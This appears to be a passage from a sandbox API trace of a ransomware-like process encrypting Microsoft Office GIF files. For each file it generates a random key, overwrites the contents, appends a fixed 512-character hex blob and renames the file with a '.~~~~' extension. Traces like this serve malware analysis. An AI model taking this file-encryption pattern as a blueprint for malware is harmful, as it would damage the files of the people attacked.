	[0129.684] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.684] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.685] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24967467424) returned 1
	[0129.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6bd66d0, dwHighDateTime=0x1d60e1e)) 
	[0129.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28225d8
	[0129.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28225d8 | out: hHeap=0x300000) returned 1
	[0129.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1910
	[0129.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.685] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.686] GetLastError () returned 0x0
	[0129.686] GetLastError () returned 0x0
	[0129.686] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.686] GetLastError () returned 0x0
	[0129.686] GetLastError () returned 0x0
	[0129.688] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffd02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.688] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x2fe, lpOverlapped=0x0) returned 1
	[0129.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.690] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.690] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.690] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.690] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.690] CloseHandle (hObject=0x138) returned 1
	[0129.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.691] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif.~~~~")) returned 1
	[0129.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.692] GetLastError () returned 0x0
	[0129.693] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.694] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.694] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.694] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24968413116) returned 1
	[0129.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6bfc830, dwHighDateTime=0x1d60e1e)) 
	[0129.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822610
	[0129.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822610 | out: hHeap=0x300000) returned 1
	[0129.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838988
	[0129.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.695] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.695] GetLastError () returned 0x0
	[0129.695] GetLastError () returned 0x0
	[0129.695] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.695] GetLastError () returned 0x0
	[0129.696] GetLastError () returned 0x0
	[0129.697] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff569, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.698] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa97, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0xa97, lpOverlapped=0x0) returned 1
	[0129.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.699] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.699] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.699] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.699] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.699] CloseHandle (hObject=0x138) returned 1
	[0129.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.700] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif.~~~~")) returned 1
	[0129.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.701] GetLastError () returned 0x0
	[0129.701] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.702] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.702] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.702] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24969241198) returned 1
	[0129.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6bfc830, dwHighDateTime=0x1d60e1e)) 
	[0129.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822648
	[0129.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822648 | out: hHeap=0x300000) returned 1
	[0129.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c17c0
	[0129.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.703] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.703] GetLastError () returned 0x0
	[0129.703] GetLastError () returned 0x0
	[0129.703] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.703] GetLastError () returned 0x0
	[0129.704] GetLastError () returned 0x0
	[0129.705] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.705] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1a7, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1a7, lpOverlapped=0x0) returned 1
	[0129.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.706] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.707] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.707] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.707] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.707] CloseHandle (hObject=0x138) returned 1
	[0129.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif.~~~~")) returned 1
	[0129.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.709] GetLastError () returned 0x0
	[0129.709] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.710] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.710] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.710] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24970059463) returned 1
	[0129.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6c22990, dwHighDateTime=0x1d60e1e)) 
	[0129.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822680
	[0129.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822680 | out: hHeap=0x300000) returned 1
	[0129.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1858
	[0129.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.711] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.711] GetLastError () returned 0x0
	[0129.712] GetLastError () returned 0x0
	[0129.712] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.712] GetLastError () returned 0x0
	[0129.712] GetLastError () returned 0x0
	[0129.713] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.713] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x16a, lpOverlapped=0x0) returned 1
	[0129.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.715] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.715] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.716] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.716] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.716] CloseHandle (hObject=0x138) returned 1
	[0129.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif.~~~~")) returned 1
	[0129.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.718] GetLastError () returned 0x0
	[0129.718] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.719] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.719] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.719] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24970955086) returned 1
	[0129.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6c22990, dwHighDateTime=0x1d60e1e)) 
	[0129.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28226b8
	[0129.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28226b8 | out: hHeap=0x300000) returned 1
	[0129.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c18f0
	[0129.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.720] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.721] GetLastError () returned 0x0
	[0129.721] GetLastError () returned 0x0
	[0129.721] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.721] GetLastError () returned 0x0
	[0129.721] GetLastError () returned 0x0
	[0129.723] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe0d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.723] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1f3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1f3, lpOverlapped=0x0) returned 1
	[0129.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.725] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.725] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.725] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.725] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.725] CloseHandle (hObject=0x138) returned 1
	[0129.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.726] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif.~~~~")) returned 1
	[0129.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
